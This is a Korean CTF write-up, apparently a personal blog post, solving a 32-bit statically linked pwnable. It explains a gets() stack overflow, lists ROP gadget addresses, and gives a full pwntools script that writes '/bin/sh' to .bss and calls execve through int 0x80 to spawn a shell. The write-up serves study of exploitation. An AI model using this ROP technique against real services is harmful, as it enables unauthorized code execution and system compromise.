728x90
checksec
32bit
NX 걸려있음
Pseudo Code
포함되어 있는 함수가 엄청 많다
vuln()함수에서 ebp-18의 v1 변수에 gets 함수를 통해 사용자로 부터 입력받는다. >> 18 0x18+ 4(SFP) byte 이상 입력하면 return address 덮어 쓸 수 있을 것
실행
Payload
esp: 0xffffcfcc
arg[1]의 시작주소: 0xffffcfa4
28개 이상의 문자를 입력함으로써 리턴어드레스를 덮을 수 있다
gets 함수 plt 주소
gets = 0x804f290
>> statically linked library이기 때문에 plt와 got가 구별되지 않는다.
writable area 찾기
/bin/sh이 현재 파일 내에 쓰여있지 않기 때문에 따로 써줘야한다
.data: 0x080ea060
.bss: 0x080eaf80
gadget 찾기
pop eax ; ret ; = 0x080b84d6
pop ebx ; ret ; = 0x80481c9
pop ecx ; ret ; = 0x80dece1
pop edx ; ret ; = 0x806f19a
int 0x80 ; = 0x806f7a0
int 0x80 ; ret ; = 0x806f7a0
exploit
from pwn import *
#context.log_level = 'debug'
elf = ELF("./gets_")
p = process("./gets_")
#gadgets
int80 = 0x806f7a0
pa = 0x80b84d6
pb = 0x80481c9
pc = 0x80dece1
pd = 0x806f19a
bss = 0x80eaf80 + 0x100
gets = 0x804f290
binsh = '/bin/sh\x00'
pl = "A"*(0x18 + 4)
pl += p32(gets)
pl += p32(pa)
pl += p32(bss)
pl += p32(pa)
pl += p32(0xb)
pl += p32(pb)
pl += p32(bss)
pl += p32(pc)
pl += p32(0)
pl += p32(pd)
pl += p32(0)
pl += p32(int80)
#gdb.attach(p)
p.sendlineafter("\n",pl)
p.sendline(binsh)
p.interactive()
execve() 함수의 인자로 전달
ebx → "/bin/sh"이 저장된 주소
ecx → null
edx → null
::execve 함수 참고::
SMALL
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] SysROP (0) | 2020.08.07 |
---|---|
[HackCTF] look at me (0) | 2020.08.02 |
[ROP Emporium] write4 (0) | 2020.07.19 |
[HackCTF] pwning (0) | 2020.07.18 |
BaskinRobins31 (0) | 2020.07.12 |